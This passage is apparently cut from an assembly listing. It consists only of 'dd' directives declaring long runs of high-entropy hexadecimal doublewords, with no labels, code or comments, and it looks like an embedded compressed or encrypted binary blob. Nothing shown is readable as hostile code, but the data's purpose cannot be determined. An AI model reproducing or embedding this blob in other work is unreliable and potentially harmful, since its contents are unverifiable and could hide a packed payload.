4D073851h, 9A11AA60h, 0C7B0505Eh dd 677AB7DAh, 90F9B5h, 58D2B144h, 97174C26h, 6FFF6AD4h dd 0D4A9007Bh, 45D30AEFh, 0B799185Dh, 9D8B4A7Fh, 395BC8D0h dd 918BBC5h, 7C022BBh, 54683ECh, 29F560C6h, 0BA666090h dd 5769BB17h, 5BB730BAh, 904C5061h, 109110AEh, 95296661h dd 40BC230Dh, 2248819Eh, 1A71856Fh, 0FFDA9627h, 0FC458D9Ch dd 9BAE17A8h, 69BC7CFh, 316192D0h, 0A5DC0A94h, 67AFD1FFh dd 4ECAE060h, 812752DEh, 0AC4E7D26h, 572B7E69h, 0F660A56Dh dd 617B6Ch, 6AD7F380h, 0BF0F5002h, 905BFB04h, 0DA4013E9h dd 6B20F3DCh, 91706EF2h, 0B745AD00h, 0F7B0370Bh, 0F4CD16F5h dd 6F20BA50h, 75E63Ch, 0E51BF325h, 904B2013h, 70D4FBB7h dd 0BF388C93h, 27AA96FDh, 0E3804660h, 69E912D4h, 58AAB0Dh dd 0A316CF24h, 2B2E788Fh, 66880802h, 558D43BFh, 4358A4F3h dd 630B2C73h, 8D496024h, 0F8244167h, 230769ADh, 77FB1796h dd 0F9092537h, 219202ABh, 0EB90051Ah, 35D8A689h, 29413DC6h dd 1E310B00h, 0AE9AC166h, 50C09112h, 90FAEB04h, 0AC95E9FAh dd 88FB48BBh, 0FB0C4E76h, 0B67A1C9Dh, 0A03FE32Ch, 0B5C67673h dd 80009373h, 0B57EAEBh, 239526BDh, 1057A5BFh, 249D3319h dd 0BEE10349h, 0B828ADDBh, 0C0200262h, 5CD8DF1Ch, 861AC82h dd 0E15989E4h, 9FFD5A72h, 5E01B4B8h, 0BB66E02Ah, 6520EA84h dd 0E92B4019h, 0B02DDF64h, 0CD9D47C0h, 70E68018h, 0F9B70F05h dd 0C8AF71E4h, 6400DB21h, 0BA06E25Dh, 0CD0E30h, 0C381B7FFh dd 6BC942EAh, 0F4FD5F5Fh, 7A35B136h, 17541858h, 24FFC8B6h dd 800FC0D5h, 0F8BF68C3h, 8C0F188Fh, 28BF1D05h, 23B8BE17h dd 0BD7942FFh, 0C8202041h, 0B2E58D31h, 92D1FC69h, 8E59B52Ah dd 29BD3106h, 0D050B721h, 0CB109D20h, 8757C32Ah, 0AFAC1BAh dd 0E90DDF13h, 0C5200607h, 80B57095h, 0D0DFD03Bh, 0FD8A0AA2h dd 2F6342E9h, 814055D6h, 211BBACBh, 841F6113h, 0B48964E2h dd 0C5BD4523h, 0A583F245h dd 66FE2106h, 32F43446h, 0F510284h, 0A8980486h, 0E96E6EB4h dd 0B58D0011h, 0CE17F9FFh, 0BA76BFCCh, 0D742A21Dh, 0FF09E893h dd 8A1CDC66h, 8D7B9FEh, 24C57ABFh, 0B3B1ADEh, 1841AB27h dd 23EED1Eh, 4BD80435h, 22430DBFh, 0FC860BB5h, 34EDF982h dd 6EFFF60Eh, 3C870329h, 0B9B9AF28h, 0C430CB80h, 0CA23CE0Bh dd 0B8FA9620h, 0D3045825h, 2BC14493h, 0B87FB9FAh, 49750AB2h dd 11FFFC09h, 865313h, 0ACBC2AA2h, 3A436640h, 6E00B54Eh dd 2B5F5B52h, 3318ADD2h, 0D078D1C2h, 4E90B83h, 377DF475h dd 0A7C400B0h, 6440BA36h, 65D6001h, 880DF963h, 1B60FA3Bh dd 0B7CB11h, 160879C1h, 90CAF4DAh, 7804D500h, 76E8F3A4h dd 0E349051h, 5F34D2D7h, 29910532h, 6FCE1232h, 21A403A2h dd 92088AAh, 9FE4EF5Ah, 64D8E02h, 0B1109809h, 68110E88h dd 809FBC05h, 3EB3E122h, 80398BA3h, 8DC2BA50h, 8C10318h dd 0A359A5EFh, 2B205819h, 0BD1AB8FFh, 0AD270CD8h, 0E2EE7729h dd 70A4F3B7h, 0E705DA3Bh, 0CA438285h, 4439D0C7h, 22DE00D7h dd 329A3DD3h, 4800F0B1h, 135AAC4Eh, 7796CD2Fh, 5F11279Bh dd 0BB0F9B2Eh, 334D4B82h, 0D679DDE1h, 3E85E849h, 838B70ABh dd 6000347Ah, 6458804Dh, 22D76F8h, 740744B9h, 0CDD7E1FFh dd 0C162C08Dh, 273C6FFEh, 0ACC5B8CAh, 7D093301h, 71D36820h dd 3F2F8626h, 0F4E5F404h, 70760514h, 1001882Bh, 8FAED22Fh dd 0DD07C78Ch, 71C157F4h, 3048816Fh, 6B919803h, 375F53C9h dd 9C860049h, 0E4CAB0D4h, 0A4AB5C0Bh, 2E117560h, 6CF4ECE2h dd 0B9017102h, 80536BE0h, 665C3749h, 0ECD94C8Ch, 0B0BD110h dd 7504E180h, 0CA017CB7h, 0C90AE3AAh, 1989C41h, 0A065B77Ah dd 168F8623h, 1F57D983h, 4C0DD0F2h, 0F6693B81h, 63F67EEDh dd 0D370CDE2h, 336EAF0Eh, 0DF1BCB85h, 4C0033BDh, 0E834E29h dd 50A5281Eh, 0F50F2FF4h, 0F6665Ch, 0AE33FF69h, 8590B0BFh dd 82487969h, 0F7198DADh, 0FF1CAF4Ch, 60121F03h, 78299B88h dd 2D181679h, 980888DBh, 7F480700h, 1451B5CBh, 83D70BE2h dd 0F194F21h, 6EBFECh, 0AF25198Ah, 4EC2B03Ch, 0AF06125Bh dd 0B056ACC8h, 2D0B3FE9h, 8CC78BB5h, 1300AE65h, 1E889823h dd 1066BFh, 150BED0Eh, 4B8F5ED3h, 2E318B48h, 0A80B0B52h dd 31BB07FFh, 31138825h, 24ACA2BBh, 6F6A3E5Ah, 8C4EE860h dd 0CC880026h, 0C89E1DC3h, 7605AACFh, 58F6DCEFh, 8966DBBFh dd 2A00E129h, 0AD10D93Dh, 0A5C24009h, 850D3164h, 0E67FB8F1h dd 0E91CF043h, 0B7939229h, 0DA48135Ah, 59903671h, 26612070h dd 0C4AEC74Fh, 0CCB6AE57h, 8B54F6E0h, 3D94B52Dh, 3F138113h dd 70E5EAF7h, 2041D98Eh, 4B29B693h, 4F56022h, 1020EB7h dd 758DD8Dh, 0B3F2617Dh, 93E4BB49h, 72888D56h, 3A7FC3Ah dd 6D9920D1h, 86EBAE6Bh, 38FCC598h, 0F98B1517h, 4463D03h dd 856A6901h, 0EEF5D343h, 28402F84h, 1D2D126Ah, 26DB0058h dd 225E3C5Dh, 0C67E6C53h, 0FDF7DF51h, 0E05F0208h, 52FF01D1h dd 0BF3AC3B5h, 2051A12h, 23159D0Ch, 0A84E6800h, 640C483Fh dd 4829FC50h, 0B31763DBh, 0C720BF9Ch, 7C20ABB1h, 0D18D270Ch dd 34B2498Eh, 0C596061Eh, 4CC5C303h, 2DA2810Fh, 50311066h dd 3B6808D8h, 0FE10D667h, 45268532h, 0C4611456h, 0C5FD7F78h dd 8D85C711h, 7461AF3Eh, 0AC00DCA8h, 317D19F2h, 58F0BF58h dd 69416C96h, 0BC2AC735h, 6BAE4ABEh, 58030F44h, 0B9DFC157h dd 5BEC2E40h, 0B34E70E9h, 0AFA8D8F1h, 8F0F3917h, 0E4AF5E24h dd 570050BDh, 0AB9B7353h, 7AA5EF35h, 0C30265Fh, 0C9441C6Ah dd 2A0FC101h, 0C1020E59h, 0A85DFB4Ch, 0EBE70D93h, 4DE3636h dd 16EE3964h, 29501B33h, 18214028h, 113CD58h, 0C01B0957h dd 0B19CC08Bh, 0AC0309DCh, 0D9F5F439h, 0EF810042h, 169ADBFh dd 70AE53BFh, 0C5014B2Eh, 0FB92A377h, 432853CDh, 0EB187E80h dd 0B9E26939h, 9B283803h, 0E8A68CCEh, 0F5BCB610h, 30FC891h dd 0C5D667FCh, 0C448F014h, 31CC0F96h, 0FFA2B219h, 3DC15F5Bh dd 84A972DEh, 0F634A885h, 51EAA113h, 7ECC6722h, 85170147h dd 0FDDD23D9h, 5F5C8730h, 2A4B09CAh, 5474657h, 62356433h dd 0DF92809Fh, 6E00EBA7h, 4B532F79h, 982D9EE8h, 4C8C45CDh dd 0B31E464Ch, 1942FC95h, 0DF37DA6Bh, 77717AC4h, 0DBF6E579h dd 516A3800h, 0FB4F9DE3h, 0C75F26E8h, 0B0B234BEh, 0C4111E3h dd 4582E430h, 49233803h, 0DE91199h, 0C69E7300h, 0D31BF1A4h dd 20814402h, 0FB58EBA9h, 7CFCAD33h, 745D65D4h, 319504F8h dd 0F22DF50Bh, 1A50CAFFh, 8C5B5584h, 169DD058h, 2F152AEh dd 0AA4E1E06h, 21D538C0h, 0BC2B4082h, 77D20136h, 8689FC8Ah dd 0F438FC4h, 2D8CF3BFh, 0E1B52A09h, 0C28300F9h, 797FBB04h dd 89142F5Eh, 0C0F42050h, 63486B77h, 1FA40014h, 0BAD566AAh dd 0BF1C4E6Dh, 0B2530DD6h, 0BE06FE05h, 19B286E3h, 5CACE830h dd 0B2C846Ch, 168509C2h, 0CD6B7D59h, 49A04F8Ah, 0A4CCBB3Ah dd 0D0CB8103h, 4C0ADD3Bh, 49763D4Eh, 0CC960111h, 23925031h dd 0D670CBBBh, 959D1223h, 6DAD290Ch, 580BB885h, 0A912D751h dd 1617B71Ch, 12C830Fh, 79EB00D8h, 98D3AF82h, 5F4ACC58h dd 342205CAh, 96D98B16h, 556D849h, 0D0875FA2h, 98AF5899h dd 0F09656D0h, 0E2C610F3h, 854A912Bh, 0E5181B71h, 274D9101h dd 0EBD57178h, 8041302Bh, 32AC67DFh, 50FB73BDh, 5F0489C8h dd 0EE061E51h, 0B2B54A85h, 0A120352Ah, 4282ACEh, 7F5BBD87h dd 17D0BED8h, 4578580h, 91FBD85h, 0A32A595Fh, 0F8D778C4h dd 0C8AE7309h, 4D5182FFh, 2960020Dh, 89155E61h, 19028CD7h dd 132B610Bh, 80E0DB60h, 346D98EEh, 809695CDh, 71DFFBB7h dd 56E27E4Bh, 3EE50C00h, 0EE0B307Dh, 672A0F16h, 1B485C8h dd 2C1184EAh, 89D6E574h, 276D855Ah, 58A9E917h, 78EAB3B9h dd 2909230Ah, 5A3485B5h, 0D4DE95B5h, 0BCAE01D6h, 920DEDF0h dd 91A2CBB5h, 2B6AD456h, 0E9310313h, 0E37A90FEh, 19210F29h dd 741EA082h, 0F0125Fh, 4599BBE3h, 50614A23h, 491E5378h dd 5B52CBC9h, 0D5F0C8A6h, 3CD6F5F9h, 0BD5B2AC7h, 5F181C4Bh dd 0F9F38666h, 373DECD1h, 5606AF9Dh, 4504DC9Dh, 0C5A4CA70h dd 290193C2h, 0DFBE1058h, 0F36D09DCh, 95024543h, 0B091AA9h dd 154487h, 61AA80EFh, 0C1C05B59h, 3497AC0Eh, 4692BE8Fh dd 6BB399E4h, 0B66D8280h, 0DA116AC0h, 40B21FF5h, 0CD31D3ACh dd 2967415Bh, 0C3810009h, 6B6778B3h, 92026C26h, 645C1725h dd 0D4B7F7EBh, 70B97101h, 58B9259Eh, 84CE1A25h, 0EA816000h dd 4B109140h, 0FF6116F9h, 82BD9BD1h, 79CDFA8Dh, 867C00C0h dd 5C765952h, 446A5D00h, 3F8EF4FEh, 0FABC12D8h, 8D90E246h dd 0F92A3D60h, 96AACFCh, 9D89847Dh, 2CA58EBh, 0BCC75940h dd 0C450B125h, 5EA10092h, 0D2C0368Dh, 583C79F1h, 1FD51CF7h dd 6C76A981h, 72417FBh, 2C32BBF9h, 50F53D42h, 0F5E9E560h dd 0C1383E3Dh, 56F66140h, 728B0E4Bh, 919D4110h, 503ACB2h dd 8D09C0C7h, 3085FE99h, 80F89BFBh, 4617C52Bh, 9D754BECh dd 0C0345A6Ah, 2A857FC2h, 52DBE25h, 53D88B50h, 2416F9Eh dd 547E02C4h, 0E7DF81C8h, 652ED3ECh, 0DDF10458h, 0B7FDFA16h dd 9ABB66C1h, 37352E2Ch, 81979BFFh, 0F5BE6C8Bh, 5A37DCC8h dd 0BCFB204Bh, 8800280Fh, 6358150Eh, 9FC4D24h, 16558560h dd 0B7274AFEh, 0F2A118C8h dd 980829D3h, 921A8F0Fh, 15B9D0E8h, 7007759h, 3C8EB3B1h dd 12EB05E1h, 4131E94h, 0B15C1F4h, 4DAA825Fh, 603FEF0Ch dd 7EAC528Bh, 7755DE58h, 0DB1268B3h, 101889E6h, 0F8B71D01h dd 311AB070h, 56E28185h, 9D23048Ch, 0E6F3D699h, 921FEB00h dd 0B58971E4h, 256AB6CDh, 4CE88369h, 1041EDF5h, 0D3851F2Bh dd 81F8E280h, 0CA04EF2Eh, 652E3FF9h, 788B096h, 6D2033B0h dd 9D8C951Dh, 13D2055Ch, 9554C0BFh, 0C8891701h, 40089B90h dd 2A40DDAFh, 21D15A8Bh, 0C0F428EFh, 0B200CBF6h, 0FF7040C6h dd 127D1D30h, 249F8EDh, 5BC70F4Ah, 698E58ACh, 850943B9h dd 1E5AD9B9h, 8295A055h, 46F6B3ADh, 86A83C3Eh, 0EDD0010Eh dd 9D762820h, 230D46A4h, 34E168DDh, 5FCCF5C2h, 0D4D03B2Fh dd 0B9E66C04h, 60E92140h, 96BF1733h, 4E064552h, 3B1BD89h dd 58D1191h, 0CED24A2Ah, 0A5FC2719h, 0FE100FA5h, 3B3D95E6h dd 4A6B66D0h, 9050BAD8h, 0FD5CB8F9h, 4F080115h, 203C3172h dd 0BD180157h, 9D4B1C39h, 2592BEB9h, 2F93C966h, 125B9E78h dd 2D7694Fh, 0EAB9FB56h, 0D525525Eh, 2389C3B5h, 0D3D570CAh dd 0D96B8CD0h, 2BE1B8F4h, 0A500AC7Bh, 37E36325h, 0B304D3F8h dd 0D22BFAF0h, 2E151481h, 0F199AC04h, 322880Fh, 0DE3AF52Ch dd 5E2491F8h, 1930030Fh, 247DAFBBh, 89E32825h, 0A87149B3h dd 0F1950904h, 752B81B1h, 26DAFA8Fh, 95281280h, 3F005363h dd 0F3BB3437h, 97697611h, 0B0E2921Ah, 4E5C8156h, 65489788h dd 848F3487h, 2E19B14Fh, 33B846E9h, 0CA724C01h, 0BC69122Eh dd 1203EF70h, 0E243CB59h, 0A83B88B7h, 8A22F8B6h, 32D5EC1h dd 0DCFA85B8h, 0D30075DBh, 0B526433Eh, 94C86CEh, 0CC0F2077h dd 560A627Dh, 58026996h, 0FF0123CDh, 0EB2009E1h, 5D1C9716h dd 0DA4E1E43h, 0BABE80BFh, 4BB765B8h, 22608ACCh, 41ADB40Bh dd 0F0EE8F3Bh, 353B381Ch, 0A5CB81DEh, 539721BBh, 14B1BA88h dd 58E25F12h, 5A6AD88h, 804E0511h, 60AF3C00h, 2BA3795h dd 19CF808Dh, 15C93760h, 2F4F5682h, 13DC6FF6h, 9107FE7h dd 6A70FE04h, 0C24CA695h, 0CD1AD729h, 2EFAE143h, 0F7800830h dd 5D6C90C9h, 6E4EA8DAh, 2132008Eh, 780E3568h, 3B44D43Eh dd 0B31B2D12h, 81B784E5h, 4A7E24B8h, 0CAEC856h, 0F3B188h dd 0E2099767h, 28A5663Ah, 8B227E17h, 46D7B417h, 671D9E04h dd 6E09B670h, 925B585Ah, 62CFA38h, 77F311BBh, 2AE3207Ch dd 84FB2137h, 77AD2262h, 0F11AE9C4h, 0B83E2D79h, 62313B27h dd 76646A25h, 80E1B797h, 7B68B72Ch, 9F09BB7Dh, 596EC035h dd 0C9519295h, 2FB92A3Ch, 0D078A080h, 3F016C3Ah, 0B997D716h dd 342B5F2Eh, 0F6AA92h, 83AF72B0h, 0D6C2B912h, 8FA33412h dd 0F0C72948h, 0F42E90FDh, 0D4E424FEh, 0D3C39A03h, 0F1EE29ACh dd 82798932h, 0A4008BBCh, 6F419464h, 12CB95C0h, 0F7E1B30Bh dd 0AC8A4DA0h, 141990B5h, 0E68EF0C7h, 8C9DE16h, 60964988h dd 163788h, 0E144331Dh, 0DD645BFDh, 0ADAF41EFh, 0EF2CA62Fh dd 0FA5850Ch, 0EA819561h, 2F526050h, 59CD5D20h, 1AA300FFh dd 0FD3F469h, 5B1F4539h, 5F65582Ch, 97548412h, 5282046Dh dd 0A8B32434h, 4D6BE956h, 0DEA3C035h, 604A2A6Dh, 959630FEh dd 0BF8005C1h, 182E08Ah, 6B686128h, 30EEBE25h, 814CDE43h dd 82943A22h, 8DF81160h, 0F9BBD985h, 9371819h, 889955D6h dd 0D866548Ch, 0E4BE5F75h, 0AD327E40h, 909C726Fh, 260304E6h dd 0D47836F5h, 0B87ABD69h, 0C70100F7h, 5227477Eh, 1D4D9D03h dd 255E5CD9h, 0B846CE05h, 611640ACh, 3585010Dh, 3D2B0E2Ch dd 186A3B4Ah, 0FA8F0700h, 58763D57h, 0FB658A07h, 31F4BD23h dd 38EAF625h, 0B5F95F48h, 0EC07E1E8h, 110B099Eh, 3BE99431h dd 628B6FC2h, 0E8E11A15h, 3C6B2E28h, 0B3301DE2h, 0F65F01F8h dd 1F813DD8h, 81042FE1h, 0A21329B9h, 0E31F7546h, 5400C2AAh dd 5BC791Dh, 0D551BF58h, 0B4B80307h, 134DC5C0h, 0F9AA00C8h dd 740C2E5Ch, 0CB0BC005h, 961E3E94h, 0E5851262h, 77357B04h dd 6A1C9BF6h, 0A684B552h, 2F8BF054h, 0E704B313h, 0A3E0A7ECh dd 96C22E1h, 8844EC07h, 0F589BC53h, 40B0EF2Ah, 40E53698h dd 9F4D9904h, 0BCADFCEAh, 40FC2AD0h, 0FCB37F00h, 3848BAEEh dd 0D6A4E8h, 9E6ACF88h, 8D46E6BFh, 0D8532E00h, 81CA6770h dd 1D37016Eh, 0F88BAD2Ah, 5D352E5Bh, 96E07AF6h, 59052AC1h dd 58CAAC9Eh, 921F1CACh, 0D764E584h, 0AC364100h, 33784922h dd 62E70FB1h, 50402C69h, 6898037Fh, 0E9AD20B2h, 0B74ED5E0h dd 0A5715CCAh, 22C8952Fh, 114A4D9Dh, 188874DDh, 64A50EA1h dd 0E6DBBF8Eh, 7315C870h, 57B306F2h, 1F09E8FCh, 326BF100h dd 0E7D04F8h, 86724A30h, 0B512CCCBh, 0C2E22071h, 32ACF4D5h dd 0B5DCF0E1h, 0D221BC0Fh, 0C0C97328h, 342BA159h, 658204CDh dd 0CBB1120Ch, 0E8CEB92Eh, 1E9FE85h, 46320148h, 383FFE11h dd 5BBC08Bh, 9758928Fh, 0FE58EC09h, 7DEA8995h, 0A46046EDh dd 0A633BAEh, 0EC5E1E99h, 4BD08FCh, 60F7C02Dh, 7BDF0681h dd 0F013FDCBh, 4B155120h, 2D0DDD61h, 15CA883h, 5ECB640h dd 2A9B5208h, 440086B9h, 5CC4DE68h, 18005A0Bh, 8B8EC807h dd 2C2A894Dh, 8D26DD1h, 5F171951h, 352E6EE1h, 0E763A629h dd 0C17A5EC0h, 425960A6h, 170C82BBh, 2E914C95h, 4AB68D0Fh dd 0F03660D0h, 7C001E87h, 5C865EF8h, 2BA75CDh, 2F4D290Dh dd 0FF93BA7h, 2B4FADAAh, 0B672A589h, 6FC4BF00h, 0BDAF8C0Dh dd 78001078h, 43272ED9h, 96C93E99h, 0CF083E97h, 0FE2A2029h dd 5655F552h, 0CA6FF045h, 79E50119h, 0E01A88B4h, 80C83882h dd 0B0ABF85Fh, 75E00DBh, 1F0C877Eh, 144AE582h, 0B8B42AB4h dd 70AC1EEh, 2F3F8673h, 28B6961h, 2ADEB311h, 25B57A61h dd 6D9C55C2h, 3811644h, 0EE652CF7h, 1A70500Ah, 183238Ah dd 0B45295B5h, 14B218E6h, 520FF830h, 5353928Fh, 2BCAB100h dd 6258DE94h, 491DA401h, 0B0A188E1h, 9510E6F8h, 1897514Ch dd 54858966h, 4F0FFF69h, 0DB4E3082h, 0B9D39E7Eh, 0FC03717Eh dd 4CC5BEBCh, 8EBC4ACh, 56960794h, 34EF3342h, 25AC765Fh dd 0B0A17FC6h, 4B922C2Dh, 6338828Ah, 81979E5Bh, 848F31CAh dd 10339CF4h, 8415059Dh, 9C1B2D01h, 0C2751BB1h, 5525515Eh dd 0FF9ED4B5h, 5903FDDCh, 88609934h, 7A9C5BAh, 8B610D9Ch dd 5E7939CAh, 70675DE9h, 78F88CE4h, 2D9B792h, 0A8978032h dd 842EC3B2h, 9B5A4EBCh, 4C37848Eh, 5EF5D7C2h, 0CD7F494Eh dd 0B84A60E1h, 98062215h, 0FE9DEB1h, 30B0001Fh, 0BE875064h dd 4007F87Eh, 13B5BDB2h, 5FBC41C4h, 293AD9D4h, 0BB0450C0h dd 7C030892h, 3BFDAB0h, 42FDD3DBh, 0BBD48529h, 6F2AAFE1h dd 0FAEF04DDh, 2FBCF5B7h, 48BC0F1Bh, 0AD5E9013h, 0CB9DDBAAh dd 8801009Eh, 48F2EB1h, 1E2042BBh, 0EC32BD16h, 0A71D1F62h dd 0FBC7C0B9h, 501F3774h, 8EFE8B2Ah, 1ADCB3B6h, 3CE7857Ah dd 0E38D8955h, 5EADC579h, 0C809C2BCh, 79D2DF80h, 784CAB24h dd 81919E98h, 9DB12980h, 6D69C5h, 7746807Bh, 271B65EAh dd 0F2E9897h, 35086C81h, 0C08A020Ch, 95D1FF41h, 4FD60556h dd 0B1D4C582h, 21282E6Bh, 47618A66h, 0F1707E1Eh, 0E62DA5h dd 0FF430D84h, 18AF816Dh, 9F714201h, 0CF3F5BEEh, 1ECD5230h dd 6561C8CAh, 4C901FE0h, 89026A09h, 0D56C938Dh, 0F650A7D2h dd 0C6A207ADh, 0CF80B15Bh dd 0C2DD2EBBh, 38726A6Eh, 0C2BC02FAh, 578AE9FBh, 6820991Ch dd 9595B2ADh, 47C20C6Dh, 4DF74084h, 85C822Ch, 7CBFE46Ch dd 0B8507658h, 95DD706Eh, 1A321FC5h, 0DA891125h, 1B44B96Dh dd 210F2B60h, 3694A304h, 0E3EABFB9h, 2415836h, 9589F171h dd 0A79DF631h, 0A6559061h, 7109B411h, 0AE4DD510h, 80EE52E0h dd 4C0E5CEBh, 1317CE0Bh, 0DABF9402h, 4C47D5Ch, 7C708B49h dd 59F721A0h, 0E61F6209h, 1AE65F70h, 1023D948h, 0E40318E9h dd 0E7C38171h, 2E4C1C89h, 0B0DA7F48h, 0E194A87Ch, 0FD290825h dd 855873A9h, 0F62DDC81h, 8EE5F15Fh, 0C149DE8Bh, 0D413FC99h dd 55005E79h, 9A30E6D1h, 123276B7h, 0E1AC7415h, 40862E86h dd 8688954Dh, 0DACDAF20h, 0C82B2480h, 0DBD381h, 8B2DAE84h dd 0A5B509D1h, 0BA280441h, 0C9BD2382h, 0CC0D84Ah, 318019F5h dd 10C5258Dh, 0B4817AC4h, 0C30CADDEh, 31EA108Ch, 5B5F1221h dd 841169E4h, 45A99D3Fh, 0D95829FEh, 78FD2EF7h, 0E2DF929Dh dd 0C242266h, 251DBD89h, 17A0A587h, 951229FEh, 6BE5267Dh dd 41495C05h, 41717104h, 39180EC5h, 4C0ABC9Dh, 46003352h dd 0BB66A993h, 4CC21B2Dh, 5C8FF380h, 376A82h, 4FDCC13Ch dd 74E9DB9h, 0DE178393h, 0FAFC4BE6h, 137E1C6Bh, 0F6FCD4BFh dd 4C0DE090h, 4F030184h, 271EF01h, 7292329h, 7882F820h dd 0E81C2AB3h, 23A8BEh, 0B8C2131Fh, 8E0FC02Bh, 79382B95h dd 891AC11h, 2B09223Dh, 71D2F3D2h, 3EDAC068h, 2C258400h dd 9D033F28h, 9B0B4BBDh, 2C9B4AA8h, 6F543389h, 0FC4C442Ah dd 8C1BE848h, 93C8D200h, 69C26AEBh, 2D04B74Ch, 0BFB2120Ch dd 809ADB5Bh, 0E92B351Fh, 0C8991315h, 0DE51CD60h, 19C2B960h dd 0D9186862h, 0B861041Fh, 1BB6D2C1h, 665177E0h, 0BD2B420Eh dd 564A7A39h, 0B79D56E3h, 0F1720F7Bh, 2F83F22Fh, 1A5A890Fh dd 0CD008F7Ah, 96123D9Bh, 4D259092h, 11F2C530h, 4B805852h dd 0F5C30630h, 0B9B87057h, 11724351h, 54E1DD90h, 40F79500h dd 37539BFBh, 0F123EA68h, 40F1EAh, 80185DEAh, 6C01D27Dh dd 1971F497h, 69F05572h, 121EEC15h, 0F35F22DEh, 0D6F44B0Ch dd 254C90E1h, 9E70F6Dh, 5F543A11h, 0FE1EA10Ah, 3FF1282Eh dd 351116A8h, 849529ACh, 6047F6DCh, 0D69E209h, 56C9B25Ch dd 0F609D46Eh, 274A1A4h, 0B2F3587h, 0A6003544h, 0DE1B36D6h dd 40A815h, 70CB8182h, 5F1FFCEEh, 8CCB0D97h, 204E5632h dd 99649704h, 7E0184E2h, 4B26A166h, 9AEC423Dh, 34A92CB3h dd 194D082Fh, 0EEE45B12h, 0D90141ADh, 14FB6282h, 739DF98Ah dd 0D47EBA95h, 0E912D4C3h, 0ACF88B6Bh, 0D620AD92h, 7EA17CF6h dd 0B2F0F460h, 1F495918h, 9761CAAAh, 82620182h, 0B2826D58h dd 3098B8C4h, 6A4E3972h, 0AF00E26Fh, 61BC75B7h, 6002ADBBh dd 313D2FBAh, 42B7C215h, 6221FE07h, 0FB751BADh, 0D091FA0h dd 2E291C5Dh, 0E33C6329h, 29BA8980h, 6D016A3Ch, 7456B53Eh dd 0A93A2C97h, 502A130Eh, 3718D0AFh, 1925812Fh, 0B37EE822h dd 5D20ED63h, 0C15804BEh, 886113D2h, 7596E84Eh, 643B2980h dd 47C47BDh, 850F7273h, 0B1E6EB15h, 0E774660Fh, 836AADC4h dd 25E8235Eh, 0E3051460h, 585FCE36h, 0E3B8C6A9h, 0C0F5E000h dd 26C781DBh, 2BC1256Ch, 0EF9C8466h, 0B40902DCh, 78708398h dd 2C393F40h, 0E441CD95h, 0F1F76016h, 20E0B8E4h, 9122211h dd 0B3C0CDB5h, 99015BE9h, 0DE3049Ch, 0CED9BC68h, 5BFBE452h dd 0F9CFB8BCh, 0A794B545h, 0CF83B0B3h, 0A6E103BFh, 669860F9h dd 0AAB36812h, 8007A4F3h, 59894BDBh, 1B596A7Bh, 72024B18h dd 21AE6ABFh, 1E18750Ch, 9877AC34h, 0E41B1679h, 0FA50777Fh dd 0C2FE52BDh, 1ACD85CEh, 446CAA2h, 1FB54F60h, 0CC2B9681h dd 4E01C2CEh, 0CF9A58A6h, 0F520C68Ah, 965B2F52h, 0AD034F44h dd 1B16548h, 1A4188F9h, 5F98977Fh, 8200D781h, 6808D27Ch dd 5E0AEEA5h, 5244CC24h, 3FE05F4Ah, 15ED3F5Ah, 13656ECFh dd 4404C871h, 58BCE93Dh, 499D0BC2h, 4FF480A9h, 0DC1B9C60h dd 7C400062h, 7DF1AEBAh, 0B0BE099h, 7AF59ABEh, 2CD9DF2h dd 0FC2760CEh, 13C5482h, 974C7E7h, 2F31A59Dh, 0BF0F3870h dd 0D76158FAh, 55BE4CC0h, 39002031h, 2E337FC0h, 1969A59h dd 0FD15C4Ah, 2F97BAF7h, 0CA61482Dh, 402476FEh, 0C6F1D5Ah dd 0E003C700h, 0D75094D5h, 0B4FC0161h, 7D067F2Dh, 0A5CE208h dd 621FFC52h, 0FADB48E9h, 0B76C8D8h, 1CAC387Dh, 0D9A4E651h dd 25352908h, 9D5C25C7h, 3B09EBE1h, 5931AADh, 8825BD32h dd 0FF7F9B7Ah, 0E88AFA4Bh, 0C2A66021h, 0D59252D6h, 805337CCh dd 0BF42D324h, 0FEB524h, 31C6106Eh, 140C61B5h, 0CAE23297h dd 69BB5450h, 0E19C482h, 59885B09h, 18C1819h, 1722D79h dd 3096F834h, 0FE1D8B3Ah, 0BF5E310Fh, 0E3D5104Eh, 0FE585A5Fh dd 0B1DA7B90h, 3D97809Bh, 8A7CB036h, 0BAA49100h, 899F4206h dd 511825B4h, 18640A4Dh, 9DF53067h, 0CE95B3A1h, 8255770Dh dd 8F40C4DCh, 9058CCh, 0C2C694F3h, 0CE6B4D2Dh, 3DF55C2Eh dd 85A7A36Eh, 20A0DF42h, 7C0C341h, 79D0CD99h, 0D198C1A9h dd 30BB595Bh, 9025CF74h, 118733Dh, 762C3AD7h, 4B342E7Ch dd 0FA59CC1h, 2DB72D6Bh, 11A88Bh, 60CA64B2h, 7FDD7883h dd 29BD0109h, 7966D70Eh, 5ED9C800h, 0A6A076B5h, 8CE3068Ah dd 900396A5h, 5B4BA4A4h, 6EEA6A84h, 2F0C00DCh, 687C2E4Ch dd 45E12C6h, 3B8CE10Bh, 75049D6Eh, 0AE92A6B8h, 68C8FD16h dd 0D740094h, 0B98AB433h, 0FD04E05Bh, 14A69284h, 0D2DF87B8h dd 6946E1F9h, 13BEC6Dh, 78AAB1ACh, 2070EF9Ah, 29BF212Eh dd 5ACD5F57h, 0EA1C7DC0h, 1460F79Ch, 0B86604FEh, 0B961B7E4h dd 8C14AC1Ch, 24EA124Eh, 20D1B84Eh, 7CB09513h, 0B40FDBDh dd 2C40BBBh, 3C8A3C3Ah, 0B9B209F4h, 0FACF8EF9h, 2EDA5714h dd 0CA93B900h, 36C690C5h, 318F420Fh, 0DF8B3A5Fh, 0E66C852Bh dd 45C0E4DFh, 4A093684h, 6AA6B585h, 1AC80F9Ah, 0E22EE0CEh dd 5A8B64F9h, 5F0BB7B3h, 0DA005C6Ah, 8BC547FCh, 8012FF72h dd 9CE2D4F7h, 0F62F9493h, 0A0C5E328h, 0C2918EAEh, 0BD891430h dd 0C272B662h, 3CC5DA4Eh, 0CA8067DBh, 8A9C1CCFh, 22B8B113h dd 0FA2533B6h, 290A9BC6h, 0C6103985h, 0EAE78150h, 72602DBEh dd 5300E844h, 95878DE9h, 26FB1438h, 29A2F3Fh, 5BBB39DFh dd 717B1D5h, 8B292310h, 58CFC600h, 44BF66FDh, 8A5F4B46h dd 77722783h, 1000DFBDh, 3067C673h, 1BEA0115h, 0DF80DC52h dd 3E643803h, 0F92041BDh, 8B049719h, 146BAF61h, 38001A23h dd 5BD92F9Fh, 0BBFF0740h, 6EFE198Bh, 0A1C99D85h, 0B90F2BD2h dd 70F52929h, 9296958Ch, 0C256E925h, 87B1B763h, 